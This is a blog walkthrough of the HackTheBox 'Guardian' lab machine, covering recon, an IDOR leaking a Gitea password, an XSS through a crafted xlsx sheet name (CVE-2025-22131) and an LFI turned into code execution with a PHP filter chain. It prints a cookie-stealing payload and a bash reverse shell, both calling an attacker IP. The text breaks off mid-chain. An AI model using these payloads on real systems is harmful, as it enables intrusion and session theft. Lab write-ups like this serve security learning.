Logo Havoc Hacking Articles

Guardian HTB

A detailed walkthrough of the Guardian machine on HackTheBox

Oct 28, 2025 - 16 minute read
feature image challenges

Enumeration

Nmap

nmap.png

After that we go next.

Added these to /etc/hosts file in my machine :

  10.10.11.84  guardian.htb

Web Enumeration

go to the web link http://guardian.htb

uni.png

When hover to Student Portal, we got another subdomain. juicy!

sub.png

Then we update the /etc/hosts

10.10.11.84  guardian.htb portal.guardian.htb

Then we access the portal link  http://portal.guardian.htb

Did some recon and got some emails:

recon.png

so lets do some recon and here we are finding any subdomains so we use dirsearch.

┌──(venv)(havoc㉿havoc)-[~/Downloads/htb/guardian]
└─$ dirsearch -u http://portal.guardian.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/havoc/Downloads/htb/guardian/reports/http_portal.guardian.htb/__25-10-28_13-34-09.txt

Target: http://portal.guardian.htb/

[13:34:09] Starting: 
[13:34:25] 403 -  284B  - /.env
[13:34:28] 403 -  284B  - /.git
[13:34:28] 403 -  284B  - /.git-credentials
[13:34:28] 403 -  284B  - /.git.json
[13:34:28] 403 -  284B  - /.git-rewrite/
[13:34:28] 403 -  284B  - /.git/
[13:34:28] 403 -  284B  - /.git/branches/
[13:34:28] 403 -  284B  - /.git/COMMIT_EDITMSG
[13:34:28] 403 -  284B  - /.git/config
[13:34:28] 403 -  284B  - /.git/description
[13:34:28] 403 -  284B  - /.git/HEAD
[13:34:28] 403 -  284B  - /.git/head
[13:34:28] 403 -  284B  - /.git/hooks/
[13:34:28] 403 -  284B  - /.git/hooks/applypatch-msg
[13:34:28] 403 -  284B  - /.git/hooks/commit-msg
[13:34:28] 403 -  284B  - /.git/hooks/post-update
[13:34:28] 403 -  284B  - /.git/hooks/pre-applypatch
[13:34:28] 403 -  284B  - /.git/hooks/pre-push
[13:34:28] 403 -  284B  - /.git/hooks/pre-commit
[13:34:28] 403 -  284B  - /.git/hooks/pre-rebase
[13:34:28] 403 -  284B  - /.git/hooks/prepare-commit-msg
[13:34:28] 403 -  284B  - /.git/hooks/update
[13:34:28] 403 -  284B  - /.git/index
[13:34:28] 403 -  284B  - /.git/info/
[13:34:28] 403 -  284B  - /.git/hooks/pre-receive
[13:34:28] 403 -  284B  - /.git/info/attributes
[13:34:28] 403 -  284B  - /.git/info/exclude
[13:34:28] 403 -  284B  - /.git/info/refs
[13:34:28] 403 -  284B  - /.git/logs/HEAD
[13:34:28] 403 -  284B  - /.git/logs/
[13:34:28] 403 -  284B  - /.git/logs/refs
[13:34:28] 403 -  284B  - /.git/logs/head
[13:34:28] 403 -  284B  - /.git/logs/refs/heads
[13:34:28] 403 -  284B  - /.git/logs/refs/heads/master
[13:34:28] 403 -  284B  - /.git/logs/refs/remotes
[13:34:28] 403 -  284B  - /.git/logs/refs/remotes/origin
[13:34:28] 403 -  284B  - /.git/logs/refs/remotes/origin/HEAD
[13:34:28] 403 -  284B  - /.git/objects/
[13:34:28] 403 -  284B  - /.git/logs/refs/remotes/origin/master
[13:34:28] 403 -  284B  - /.git/FETCH_HEAD
[13:34:29] 403 -  284B  - /.git/objects/info/packs
[13:34:29] 403 -  284B  - /.git/packed-refs
[13:34:29] 403 -  284B  - /.git/refs/
[13:34:29] 403 -  284B  - /.git/refs/heads
[13:34:29] 403 -  284B  - /.git/refs/heads/master
[13:34:29] 403 -  284B  - /.git/refs/remotes
[13:34:29] 403 -  284B  - /.git/refs/remotes/origin
[13:34:29] 403 -  284B  - /.git/refs/tags
[13:34:29] 403 -  284B  - /.git/refs/remotes/origin/HEAD
[13:34:29] 403 -  284B  - /.git2/
[13:34:29] 403 -  284B  - /.git/refs/remotes/origin/master
[13:34:29] 403 -  284B  - /.git_release
[13:34:29] 403 -  284B  - /.gitattributes
[13:34:29] 403 -  284B  - /.gitchangelog.rc
[13:34:29] 403 -  284B  - /.gitconfig
[13:34:29] 403 -  284B  - /.github/
[13:34:29] 403 -  284B  - /.github/workflows/blank.yml
[13:34:29] 403 -  284B  - /.github/PULL_REQUEST_TEMPLATE.md
[13:34:29] 403 -  284B  - /.github/ISSUE_TEMPLATE.md
[13:34:29] 403 -  284B  - /.github/workflows/ci.yml
[13:34:29] 403 -  284B  - /.github/workflows/dependabot.yml
[13:34:29] 403 -  284B  - /.github/workflows/docker.yml
[13:34:29] 403 -  284B  - /.github/workflows/master.yml
[13:34:29] 403 -  284B  - /.github/workflows/maven.yml
[13:34:29] 403 -  284B  - /.github/workflows/nodejs.yml
[13:34:29] 403 -  284B  - /.github/workflows/publish.yml
[13:34:29] 403 -  284B  - /.gitignore
[13:34:29] 403 -  284B  - /.gitignore.orig
[13:34:29] 403 -  284B  - /.gitignore.swp
[13:34:29] 403 -  284B  - /.gitignore/
[13:34:29] 403 -  284B  - /.gitignore_global
[13:34:29] 403 -  284B  - /.gitignore~
[13:34:29] 403 -  284B  - /.gitk
[13:34:29] 403 -  284B  - /.gitkeep
[13:34:29] 403 -  284B  - /.gitlab
[13:34:29] 403 -  284B  - /.gitlab-ci.off.yml
[13:34:29] 403 -  284B  - /.gitlab/merge_request_templates
[13:34:29] 403 -  284B  - /.gitlab-ci.yml
[13:34:29] 403 -  284B  - /.gitlab/issue_templates
[13:34:29] 403 -  284B  - /.gitlab-ci/.env
[13:34:29] 403 -  284B  - /.gitlab/route-map.yml
[13:34:29] 403 -  284B  - /.gitmodules
[13:34:29] 403 -  284B  - /.gitreview
[13:34:30] 403 -  284B  - /.ht_wsr.txt
[13:34:31] 403 -  284B  - /.htaccess.bak1
[13:34:31] 403 -  284B  - /.htaccess.orig
[13:34:31] 403 -  284B  - /.htaccess.sample
[13:34:31] 403 -  284B  - /.htaccess.save
[13:34:31] 403 -  284B  - /.htaccess_extra
[13:34:31] 403 -  284B  - /.htaccess_orig
[13:34:31] 403 -  284B  - /.htaccess_sc
[13:34:31] 403 -  284B  - /.htaccessBAK
[13:34:31] 403 -  284B  - /.htaccessOLD
[13:34:31] 403 -  284B  - /.htaccessOLD2
[13:34:31] 403 -  284B  - /.htm
[13:34:31] 403 -  284B  - /.html
[13:34:31] 403 -  284B  - /.htpasswd_test
[13:34:31] 403 -  284B  - /.htpasswds
[13:34:31] 403 -  284B  - /.httr-oauth
[13:34:38] 403 -  284B  - /.php
**[13:35:10] 301 -  326B  - /admin  ->  http://portal.guardian.htb/admin/**
[13:36:10] 403 -  284B  - /cgi-bin/
[13:36:19] 403 -  284B  - /composer.lock
[13:36:19] 403 -  284B  - /composer.json
[13:36:19] 301 -  327B  - /config  ->  http://portal.guardian.htb/config/
[13:36:21] 403 -  284B  - /config/
[13:37:08] 403 -  284B  - /includes/
[13:37:08] 301 -  329B  - /includes  ->  http://portal.guardian.htb/includes/
[13:37:13] 301 -  331B  - /javascript  ->  http://portal.guardian.htb/javascript/
[13:37:21] 200 -    1KB - /login.php
[13:37:49] 403 -  284B  - /php5.fcgi
[13:38:26] 403 -  284B  - /server-status/
[13:38:26] 403 -  284B  - /server-status
[13:38:43] 301 -  327B  - /static  ->  http://portal.guardian.htb/static/
[13:39:05] 200 -    0B  - /vendor/autoload.php
[13:39:05] 403 -  284B  - /vendor/
[13:39:05] 200 -    0B  - /vendor/composer/autoload_classmap.php
[13:39:06] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[13:39:06] 200 -    0B  - /vendor/composer/autoload_psr4.php
[13:39:06] 200 -    0B  - /vendor/composer/autoload_real.php
[13:39:06] 200 -    0B  - /vendor/composer/autoload_static.php
[13:39:06] 200 -    1KB - /vendor/composer/LICENSE
[13:39:06] 200 -    0B  - /vendor/composer/ClassLoader.php
[13:39:06] 200 -   25KB - /vendor/composer/installed.json

Task Completed

Found out there is /admin endpoint but we can not access straight away but we got the /login.php so lets go baby!

So we got this.

The thing is we do not have password yet.

so lets find it;

pdf.png

in the login page we see a link to a pdf file where we can find the password.

pass.png

we got the password as GU1234 so lets find the email from the emails we got earlier in the acknowledgement page. so lets go…….

We got one

Boone Basden

GU0142023@guardian.htb

and we are in:

werein.png

Now we are in the student portal, there is more endpoints and functions that we can recon

For My Courses, we can click to View Assignments and View Grades.

There is nothing we can do at Grades part so let’s move on to Assignments part.

For the assignments belong to GU0142023

user, we can see there is two but it got overdue status so lets click view details to see if we can be able to view the assignments

We notice that there is a Statistics in Business assignment belong to Business Statistics course with Upcoming status. so lets check it out now together..

submit.png

here we can upload a .docx or a .xlsx file and in the process we explore and see the chats page with two chat session from GU6262023 and mireielle.feek, there is also a New Chat button where we can select what user we want to chat with.so we select admin for the time being and start enjoying ourselves.laughs:)

chat.png

 we can see from the url that we are id 13 and we are chatting with id 1 which is admin.

so lets manipulate the user numbers in burpsuite and change it to 0 and see if we can be able to see other user chats.

IDOR

burp.png

Changing the id from 13 to 2 and we can see the chat session between jamil.enockson and admin and Found out the admin gave the password for gitea which was DHsNnk3V503

so lets update the  /etc/hosts file and add; gitea.guardian.htb.


 10.10.11.84   guardian.htb portal.guardian.htb gitea.guardian.htb

For the Notice Board and Profile section, there is nothing to consider as much but when we can leverage to high role, need to double check these part as they may got some function that only belong to specific role.But no so lets continue……

Let’s check out the gitea one.

Gitea

So after going to the gitea link we see the cool page like this;

gitea.png

so without thinking lets login, as we know that we got password for gitea from jamil.enockson chat session with admin, chance is that it can be the password for this user too.

loginpage.png

and boom

in.png

Ooh i forgot to mention (smiles)this one is a private account and we notice that this user work with admin in two repos, we can see admin doing some git push and git branch for 3 months ago.

So after much consideration we did recon in here

json.png

We got the version of phpoffice/phpspreadsheet is 3.7.0 and phpoffice/phpword is ^1.3

→ Then we go to our bestie google and search for related vulnerabilites and take a look at this

phpoffice/phpspreadsheet vulnerabilities

and look for the vulnerable version and got this one SNYK-PHP-PHPOFFICEPHPSPREADSHEET-8651746 with CVE-2025-22131.

.

CVE-2025-22131

LETS EXPLOIT THIS THING.

Taking a look at security advisories Cross-Site Scripting (XSS) vulnerability in generateNavigation() function and reading through the summary we know that this was a zero day xss when translated  .xlsx file to .html response representation.

It only provide Poc to this cve, we gonna adapt this to our machine challenge.

First we need to create a xlsx file with multiple sheets and then gonna change 1 sheet name to "><img src=x onerror=alert(1)>.

then exploit this thing to get the admin cookie and then escalate this sh*t.

after using this payload "><img src=x onerror=fetch("http://10.10.14.70/?c="+document.cookie)> in order to grab the lecturer cookie to escalate them.

we just renamed the tittle in the .xlsx file in here i used this FSheet with online Excel sheet so we rename the sheet and export to use it.bydhaway we opt for the fastest way/route/trick.

title.png

so we start our python local server submit the assignment we exported and wait for response in our tunnel and we got our cookie as

cookie.png

so we will inject this new cookie via Dev Tools and refresh the page and boom

lec.png

we are the lecturer whos name is sammy.treat . so we gonna try to trick the admin now to click to our doc or link whatsoever so lets go buddy.

As lectures or the current user we can create reports or new user so yeah juicy.

after going through the source code we can see csrf in the code and we need to bypass it and do lfi,ofcourse if admin is cool.

<?php
require '../includes/auth.php';
require '../config/db.php';

if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
    header('Location: /login.php');
    exit();
}

$report = $_GET['report'] ?? 'reports/academic.php';

if (strpos($report, '..') !== false) {
    die("<h2>Malicious request blocked 🚫 </h2>");
}   

if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
    die("<h2>Access denied. Invalid file 🚫</h2>");
}

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Reports Menu</title>
    <link href="../static/vendor/tailwindcss/tailwind.min.css" rel="stylesheet">
    <link href="../static/styles/icons.css" rel="stylesheet">
    <style>
        body {
            display: flex;
            height: 100vh;
            overflow: hidden;
            background-color: #f3f4f6;
        }

        .sidebar {
            flex-shrink: 0;
            background-color: #1e293b;
            color: white;
        }

        .main-content {
            flex: 1;
            overflow-y: auto;
        }
    </style>
</head>

<body class="bg-gray-100">
    <div class="sidebar"><?php include '../includes/admin/sidebar.php'; ?></div>
    <div class="main-content">
        <div class="flex-1 p-10">
            <h1 class="text-3xl font-bold mb-6 text-gray-800">Reports Menu</h1>
            <div class="grid grid-cols-1 md:grid-cols-2 gap-6">
                <a href="?report=reports/enrollment.php" class="bg-white p-6 rounded-lg shadow hover:shadow-md transition">
                    <h2 class="text-xl font-semibold text-blue-600">Enrollment Report</h2>
                    <p class="text-gray-600">View enrollment statistics and trends.</p>
                </a>.............

As from what we see, it got filter out and also got regex in case we can bypass the .., we still can not access the file.

What if we use , that and then add these enrollment|academic|financial|system end with .php

LFI to RCE

we gonna try the base64 that it will encode the data then we will copy and decode that out.

/admin/reports.php?report=php://filter/convert.base64-encode/resource=/etc/passwd/,system.php

guardian-htb-release-area-machine_admin-reports-5.png

The orginal path is gonna be like this : /var/www/html/config/db.php/. This one is after adding ,system.php at the end: /var/www/html/config/db.php/,system.php

We want to know the id so we will chain it with this payload <?php system("id");?>.

find the python script here  php_filter_chain_generator .

and we got something like this

┌──(venv)(havoc㉿havoc)-[~/Downloads/htb/guardian]
└─$ python3 php_filter_chain_generator.py --chain '<?php system("bash -c '\''bash -i >& /dev/tcp/10.10.14.70/4444 0>&1'\''");?>'
[+] The following gadget chain will generate the following code : <?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.70/4444 0>&1'");?> (base64 value: PD9waHAgc3lzdGVtKCJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjcwLzQ0NDQgMD4mMSciKTs/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-